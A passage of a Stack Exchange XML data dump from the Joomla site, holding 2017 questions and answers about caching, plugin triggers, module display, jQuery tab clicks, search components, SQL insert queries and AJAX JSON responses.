  <row Id="21877" PostTypeId="2" ParentId="21865" CreationDate="2017-11-08T18:38:28.887" Score="2" Body="&lt;p&gt;Switch to conservative caching, &lt;a href=&quot;https://www.itoctopus.com/why-progressive-caching-in-joomla-should-be-avoided-in-most-cases&quot; rel=&quot;nofollow noreferrer&quot;&gt;progressive caching should be avoided&lt;/a&gt;. You will run into all sorts of issues because of progressive caching, including, but not limited to, memory issues and file system issues. Not to mention, of course, that because of all these constant file writes caused by progressive caching, you may run into hardware failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very few Joomla sites really need to use progressive caching, and those sites that actually need it, end up using something else. Progressive caching is not well coded and it is much, much worse in Joomla 3.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, if you have that memory limit set to 256 MB because you are running into issues because of the use of progressive caching, then I suggest you reduce that number to a manageable 64 MB (after you switch to conservative caching). 256 MB is too high and is seldom necessary on a Joomla site.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-11-08T18:38:28.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21878" PostTypeId="1" CreationDate="2017-11-08T20:53:00.357" Score="1" ViewCount="79" Body="&lt;p&gt;Both of these plugin triggers have been mentioned by &lt;a href=&quot;https://joomla.stackexchange.com/users/107/craig&quot;&gt;@Craig&lt;/a&gt; in his reply to &lt;a href=&quot;https://joomla.stackexchange.com/questions/3588/can-the-access-list-of-a-front-end-menu-item-be-limited-to-certain-user-groups&quot;&gt;another question&lt;/a&gt;, but what they actually do is not so clear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;/administrator/components/com_menus/models/menutypes.php&lt;/code&gt; you have:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Allow a system plugin to insert dynamic menu types to the list shown in menus:&#xA;JEventDispatcher::getInstance()-&amp;gt;trigger('onAfterGetMenuTypeOptions', array(&amp;amp;$list, $this));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;/administrator/components/com_menus/views/items/view.html.php&lt;/code&gt; you have:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Allow a system plugin to insert dynamic menu types to the list shown in menus:&#xA;JEventDispatcher::getInstance()-&amp;gt;trigger('onBeforeRenderMenuItems', array($this));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can anyone explain what is the difference betweeen these two triggers? From the comments in the code it makes you think they do the same thing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rather than add a menu type, would it be possible to remove?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5523" LastEditorUserId="11451" LastEditDate="2017-11-09T07:24:44.287" LastActivityDate="2017-11-09T09:51:06.020" Title="What is the difference between onAfterGetMenuTypeOptions and onBeforeRenderMenuItems plugin triggers" Tags="|joomla-3.x|development|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21881" PostTypeId="2" ParentId="21878" CreationDate="2017-11-09T09:51:06.020" Score="2" Body="&lt;p&gt;The main difference between any plugin triggers is the timing at which they run. &lt;code&gt;onAfterGetMenuTypeOptions&lt;/code&gt; is triggered after the menu types are returned, and &lt;code&gt;onBeforeRenderMenuItems&lt;/code&gt; is triggered just before the menu items are rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comment in the code is really just a copy and paste issue (hopefully it'll get fixed).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-11-09T09:51:06.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21882" PostTypeId="1" AcceptedAnswerId="21896" CreationDate="2017-11-09T13:05:37.297" Score="2" ViewCount="400" Body="&lt;p&gt;I have a module &quot;login&quot; wich represents a Login button. It's assigned to the possition &quot;nav-helper&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This module dissapeared in the backend. When I search positions for &quot;nav-helper&quot; I only find the logout button. Even when I search for any module with &quot;login&quot; in it's name it does not come up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the module is stilly properly displayed on the frontend and working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.8.2 with the Porto template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI the hompage wa just brought live on a different server. Everything else works. The only thing wrong is this one missing module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;We got our development server back running, where I constructed and worked on the webpage before it was brought live on a different server. On this test server the module is still there. So it just vanished on our live joomla in the backend, and again it works fine on the frontend.&lt;/p&gt;&#xA;" OwnerUserId="11268" LastEditorUserId="11268" LastEditDate="2017-11-10T08:46:06.370" LastActivityDate="2017-11-11T04:06:10.237" Title="Module lost in backend, still visible and working on frontend" Tags="|joomla-3.x|module|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21883" PostTypeId="2" ParentId="21882" CreationDate="2017-11-09T14:04:18.490" Score="1" Body="&lt;p&gt;Typically, when this happens, it can be any of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The module has been trashed (and maybe deleted), but the website is displaying a a cached version.&lt;/li&gt;&#xA;&lt;li&gt;The module has been unpublished (and you are only searching for published modules), and the website is displaying a cached version. Deleting your Joomla cache will let you know whether the module has been trashed/deleted/unpublished.&lt;/li&gt;&#xA;&lt;li&gt;The module still exists and is published, but you have some filtering set that prevents the module from being displayed.&lt;/li&gt;&#xA;&lt;li&gt;You are logging in to the wrong website to edit your Joomla site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Worst case scenario, just launch phpMyAdmin and search for the module name in the table &lt;code&gt;#__modules&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-11-09T14:04:18.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21885" PostTypeId="2" ParentId="21874" CreationDate="2017-11-09T15:34:12.493" Score="3" Body="&lt;p&gt;The issue with the answer given in that other question is that it requires edits to Joomla core files so site updates eventually will undo your changes. That'll create a maintenance issue for you (ie, you'd need to check all those edited files after every Joomla update and re-apply the changes if they were un-done).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you always need the entire caption in italics then FFrewin's comment is the best route (make a CSS edit so that captions are always italic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only want parts of the caption in italic and you don't want to worry about core edits then you'd probably need to find/create a Plugin that'll convert bbcode type markup into HTML for you. Then you could set captions such as: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;This Argentine horned frog ([i]Ceratophrys ornata[/i]) has a weight problem.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if such a plugin exists already but if not it would be easy to create. &lt;strong&gt;&lt;em&gt;update:&lt;/em&gt;&lt;/strong&gt; &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/rokcandy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RokCandy&lt;/a&gt; might do what you need.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-11-10T14:06:53.577" LastActivityDate="2017-11-10T14:06:53.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21886" PostTypeId="1" CreationDate="2017-11-09T18:22:14.587" Score="2" ViewCount="1618" Body="&lt;p&gt;A typical scenario I believe every Joomla users have encountered is: &#xA;&lt;strong&gt;You have a module on the article list page(like Category Blog), but you don't want this module to also show on the article content page.&lt;/strong&gt;&#xA;However, since the article page inherits itemid of the blog page, the module will also show on it. According to Joomla's documentation, you can create hidden menu items for each article to avoid this, but I really don't like this approach, for two reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)It is a painful toil if I have hundres of articles;&#xA;2)The breadcrumb would be &lt;code&gt;homepage&amp;gt;article&lt;/code&gt; instead of &lt;code&gt;homepage&amp;gt;category&amp;gt;article&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this has been bugging Joomla users since 1.5, now that joomla 3.8.2 is out, has there been better approach to solve this problem? I know &quot;Module anywhere&quot; but do I still have to rely on 3rd party extension to solve this simple issue? If yes, no wonder Wordpress is more prevailing.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2018-01-12T14:51:39.730" Title="Has there been a better solution for showing modules only on article list page(but not article page)?" Tags="|articles|module-display|category|itemid|joomla3.8|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21887" PostTypeId="1" AcceptedAnswerId="21888" CreationDate="2017-11-09T19:55:03.297" Score="1" ViewCount="117" Body="&lt;p&gt;I am using version &lt;code&gt;3.6.5&lt;/code&gt;. After some SEO inspection, we realized that some article pages are using duplicate page titles (the site name being the page title). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I compared the article whose page title was the site title with another article which was displaying the article title as page title, all the settings seems to be the same except the actual contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me why the discrepancy in displaying the page titles for the same setting article? &lt;/p&gt;&#xA;" OwnerUserId="11756" LastActivityDate="2017-11-24T13:40:08.997" Title="Joomla page title is not article title for some articles" Tags="|joomla-3.x|articles|seo|category-blog|metadata|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21888" PostTypeId="2" ParentId="21887" CreationDate="2017-11-09T20:44:16.713" Score="3" Body="&lt;p&gt;If there is a menu item pointing directly to an article, then the page title can be set at the menu item level. Additionally, there are some SEO tools (such as sh404SEF) that will allow you to set the browser title of each link.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-11-09T20:44:16.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21889" PostTypeId="2" ParentId="21886" CreationDate="2017-11-09T22:48:23.407" Score="1" Body="&lt;p&gt;Joomla 3.8.2 does not add any solution to your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution you didn't mention would be to use CSS to hide the unwanted modules on article layout pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros: It's easy to implement and, depending on how your template sets its class variables, highly configurable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cons: The hidden modules are still having to be build/rendered by joomla and added to the DOM even though they wont be seen/used. Yuck.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Allow me to respectfully give an opinion here in response to your Joomla criticisms:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might seem like no-brainer to add to the core for you but I've never had a need for such functionality and I've been using Joomla since the 1.5 days. So I don't know if this is really as big of a missing feature as you might suspect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To that point, what's wrong with installing the 3rd party extension solution? For installations of both Joomla and Wordpress there are multiple 3rd party extensions that I install on just about every instance of both CMS systems. I wouldn't say Wordpress is any better in that regard. It seems like standard operating practice for both CMS's (and I assume Drupal is the same way).&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-11-09T22:48:23.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21890" PostTypeId="2" ParentId="21862" CreationDate="2017-11-10T11:08:00.170" Score="1" Body="&lt;p&gt;jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&quot;jQuery('#swtabs18').trigger('click');&quot;&amp;gt;Open Tab 18&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Vanilla JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&quot;document.getElementById('swtabs18').click();&quot;&amp;gt;Open Tab 18&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-11-10T11:08:00.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21891" PostTypeId="2" ParentId="21886" CreationDate="2017-11-10T13:10:53.693" Score="1" Body="&lt;p&gt;This can be resolved at the template level (which is the cleanest way of doing this) as described &lt;a href=&quot;https://www.itoctopus.com/how-to-hide-a-module-in-articles-but-show-it-in-the-parent-category&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you will need to modify your template's &lt;code&gt;index.php&lt;/code&gt; file to include a condition to check if the current view is not an article view, and then add the module tag if that's the case. Here's an example condition (note: the condition in the blog post linked to is different, but both should work):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$option = JFactory::getApplication()-&amp;gt;input-&amp;gt;getCmd('option');&#xA;$view   = JFactory::getApplication()-&amp;gt;input-&amp;gt;getCmd('view');&#xA;if ($option == 'com_content' &amp;amp;&amp;amp; $view == 'category'){&#xA;    //add the module tag&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method is the most stable method.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-11-10T13:10:53.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21892" PostTypeId="2" ParentId="21862" CreationDate="2017-11-10T13:38:09.773" Score="2" Body="&lt;p&gt;I'm not sure why it changes ID when you show it. It would be much more practical to keep the same ID and then Dennis Heiden's answer would be the best approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are asking for can be easily achieved, using the following jQuery, which is closely described &lt;a href=&quot;https://stackoverflow.com/questions/7321896/jquery-find-element-by-text&quot;&gt;here&lt;/a&gt;, too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#tab-container li.tab a:contains(&quot;Your Tab Text here&quot;)').click();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could place it in a function in your scripts, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function openK2TabByName(name) {&#xA;  jQuery('#tab-container li.tab a:contains(&quot;'+name+'&quot;)').click();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, a button would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button onClick=&quot;openK2TabByName('Pošalji upit')&quot; id=&quot;customTabButton&quot;&amp;gt;Pošalji upit&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a link would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:void(0);&quot; onClick=&quot;openK2TabByName('Pošalji upit')&quot; id=&quot;customTabLink&quot;&amp;gt;Pošalji upit&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you want to hide the button when the link is active, you need to somehow &quot;catch&quot; the tab clicking. Thus, you would have to write something like the following, in your Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#tab-container li.tab a').click(function() {&#xA;  if (jQuery(this).html().indexOf(&quot;&quot;) !== -1) {&#xA;    // If this is the Pošalji upit tab, hide the button, or link.&#xA;    jQuery(&quot;#customTabButton&quot;).hide();&#xA;  }&#xA;  else {&#xA;    jQuery(&quot;#customTabButton&quot;).show();&#xA;  }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="405" LastEditorUserId="405" LastEditDate="2017-11-14T17:28:20.780" LastActivityDate="2017-11-14T17:28:20.780" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21896" PostTypeId="2" ParentId="21882" CreationDate="2017-11-11T04:06:10.237" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/18542&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/18542&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/18335&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/18335&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is an issue caused by Joomla! only showing the modules of the &lt;strong&gt;current&lt;/strong&gt; access level, so modules with guest access won't show unless you are logged in with that ACL. Links really explain it better and presumably will allow you to keep track if it is changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, you can change ACL for your account or the module.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2017-11-11T04:06:10.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21897" PostTypeId="2" ParentId="21524" CreationDate="2017-11-11T11:00:07.263" Score="1" Body="&lt;p&gt;Use your controller only for redirection purpose. For database stuff use your view model.&#xA;Make sure your view name, controller file name, model file name are same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Form:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; class=&quot;form-inline&quot;&amp;gt;&#xA;    &amp;lt;input name=&quot;company&quot; id=&quot;form_hladat&quot; maxlength=&quot;150&quot; class=&quot;inputbox search-query input-medium&quot; type=&quot;search&quot; placeholder=&quot;hladat&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;search.mySearch&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_regne&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;components/com_regne/controllers/search.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mySearch() {&#xA;    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;    $term = $jinput-&amp;gt;get('company', '', 'STRING');&#xA;    $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_regne&amp;amp;view=search&amp;amp;q=' . $term, false));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;components/com_regne/models/search.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getSearch() {&#xA;&#xA;    $term = JRequest::getVar('q');&#xA;    $db = JFactory::getDbo();       &#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('*')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('corporate_bodies'));&#xA;&#xA;    if (!empty($term)) {&#xA;        $query-&amp;gt;where(&#xA;            [$db-&amp;gt;quoteName('cin') . ' = ' . $db-&amp;gt;quote($term),&#xA;            $db-&amp;gt;quoteName('name') . ' LIKE ' . $db-&amp;gt;q('%' . $db-&amp;gt;escape($term, true) . '%', false)],&#xA;            'OR');&#xA;    }&#xA;&#xA;    return $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;components/com_regne/views/search/view.html.php&lt;/strong&gt; in display function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;results = $this-&amp;gt;get('Search');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;components/com_regne/views/search/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;results&lt;/code&gt; will contain your entire search results.&lt;/p&gt;&#xA;" OwnerUserId="8902" LastEditorUserId="12352" LastEditDate="2019-08-27T12:22:13.400" LastActivityDate="2019-08-27T12:22:13.400" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21898" PostTypeId="1" CreationDate="2017-11-11T15:23:33.877" Score="0" ViewCount="64" Body="&lt;p&gt;I get lots of notices for components/com_content/helpers/legacyrouter.php, like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;/home/xxx/domains/xxxxxx/public_html/cc_j34/components/com_content/helpers/legacyrouter.php on line 95\nPHP message: PHP Notice:  Undefined index: view in &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that bots are searching for links that don't exist anymore. At the end they get a 404, but I think the legacyrouter shouldn't give this warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code, changed for 3.8.2 is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($menuItem !== null&#xA;        &amp;amp;&amp;amp; $menuItem-&amp;gt;query['view'] == $query['view']&#xA;        &amp;amp;&amp;amp; isset($menuItem-&amp;gt;query['id'], $query['id'])&#xA;        &amp;amp;&amp;amp; $menuItem-&amp;gt;query['id'] == (int) $query['id'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &quot;&amp;amp;&amp;amp; $menuItem-&gt;query['view'] == $query['view']&quot; as line 95.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be possible that this 'view' is not set? In 3.8.2. a check was added for the query['id'].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hint of how to check and fix this....?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thnx.&lt;/p&gt;&#xA;" OwnerUserId="9549" LastActivityDate="2018-01-26T17:39:03.713" Title="Undefined index in legacyrouter 3.8.2" Tags="|com-content|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21899" PostTypeId="1" AcceptedAnswerId="21915" CreationDate="2017-11-12T14:36:56.963" Score="3" ViewCount="645" Body="&lt;p&gt;I made a mysql query that will copy 3 columns of data from one table to another:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO eio3k_hikers (link_id, link_name, user_id) SELECT link_id, link_name, user_id FROM eio3k_mt_links where eio3k_mt_links.link_id = (3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I made a button which when clicked it should execute the query.&#xA;My code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;form action='' method='POST'&amp;gt;&#xA;    &amp;lt;input type='submit' name='submit' /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;define('_JEXEC', 1);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;if (file_exists(dirname(__FILE__) . '/defines.php')) {&#xA;    include_once dirname(__FILE__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__FILE__));&#xA;    require_once JPATH_BASE.'/includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE.'/includes/framework.php';&#xA;&#xA;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA;&#xA;if(isset($_POST['submit'])){&#xA;    // My query &#xA;    $querySelect = $db-&amp;gt;getQuery(true);&#xA;    $querySelect-&amp;gt;select('link_id, link_name, user_id');&#xA;    $querySelect-&amp;gt;from($db-&amp;gt;quoteName('#__mt_links'));&#xA;    $querySelect-&amp;gt;where($db-&amp;gt;quoteName('#__mt_links.link_id').&quot; = &quot;.$db-&amp;gt;quote(3));&#xA;&#xA;    $queryInsert = $db-&amp;gt;getQuery(true);&#xA;    $queryInsert-&amp;gt;insert($db-&amp;gt;quoteName('#__hikers'));&#xA;    $queryInsert-&amp;gt;columns($db-&amp;gt;quoteName(array('link_id, link_name, user_id')));&#xA;    $queryInsert-&amp;gt;values($querySelect);&#xA;    $db-&amp;gt;setQuery($queryInsert);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click on the button, the data does not insert. I also tried this in the last line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($queryInsert)-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I got error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1136 Column count doesn't match value count at row 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;although they are the same columns in both tables.&lt;/p&gt;&#xA;" OwnerUserId="11762" LastEditorUserId="12352" LastEditDate="2018-06-19T07:10:36.290" LastActivityDate="2018-06-19T12:33:46.727" Title="Button to execute a mysql query" Tags="|joomla-3.x|mysql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21900" PostTypeId="2" ParentId="21775" CreationDate="2017-11-12T19:10:21.600" Score="1" Body="&lt;p&gt;If you are using the latest Joomla (3.8.2 at the time of writing) (I'm not going to check each 3.x Joomla-version explicitly) and are using the core module &lt;code&gt;mod_menu&lt;/code&gt; you &lt;strong&gt;should&lt;/strong&gt; get an &lt;code&gt;active&lt;/code&gt; CSS class added to the parent element (&lt;code&gt;li&lt;/code&gt;) of your hyperlink when using an unchanged &lt;code&gt;mod_menu&lt;/code&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See lines 36 to 39 and lines 44 to 47 of &lt;code&gt;modules/mod_menu/tmpl/default.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3.8.2/modules/mod_menu/tmpl/default.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/3.8.2/modules/mod_menu/tmpl/default.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it is possible the template for your core &lt;code&gt;mod_menu&lt;/code&gt; module is being changed by means of a (custom) template or a layout override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to be using some third party or custom template called &lt;code&gt;yourcustomtemplate&lt;/code&gt;, it could be you will find an override for &lt;code&gt;modules/mod_menu/tmpl/default.php&lt;/code&gt; inside &lt;code&gt;templates/yourcustomtemplate/html/mod_menu/default.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, one could check the Create Overrides tab of the Template Manager:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager/en#Creating_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager/en#Creating_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is not the hyperlink itself which should get the &lt;code&gt;active&lt;/code&gt; CSS class assigned, but instead, it would be the parent element (the list-item element &lt;code&gt;li&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="11529" LastActivityDate="2017-11-12T19:10:21.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21904" PostTypeId="1" CreationDate="2017-11-13T09:54:25.163" Score="0" ViewCount="11764" Body="&lt;p&gt;I want to use jQuery.ajax for sending new mark(about article) to database and changind number of marks on page.&#xA;But I receive bad AJAX response from server.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;likes&quot;:&quot;40&quot;,&quot;dislikes&quot;:&quot;29&quot;}{&quot;success&quot;:true,&quot;message&quot;:null,&quot;messages&quot;:null,&quot;data&quot;:[]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SyntaxError: JSON.parse: unexpected non-whitespace character after&#xA;  JSON data at line 1 column 31 of the JSON data&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems there must not be the second ajax response. But I'm not understand where it have taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is my php code from Joomla plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$marks = plgContentLikesHelper::getMarks($articleID);&#xA;        $data=array();&#xA;        $data['likes'] = $marks-&amp;gt;likes;&#xA;        $data['dislikes'] = $marks-&amp;gt;dislikes;&#xA;        echo json_encode($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is my jQuery code from Joomla plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;&#xA;            jQuery('div.plg-likes &amp;gt; a ').click(function (e) {&#xA;                var id = jQuery(this).parent('div.plg-likes').attr('id');&#xA;                var opinion = jQuery(this).attr('id');&#xA;&#xA;                jQuery.ajax({&#xA;                    type: &quot;POST&quot;,&#xA;                    dataType: &quot;json&quot;,&#xA;                    url: &quot;index.php?option=com_ajax&amp;amp;group=content&amp;amp;plugin=likes&amp;amp;format=json&quot;,&#xA;                    data: { articleId: 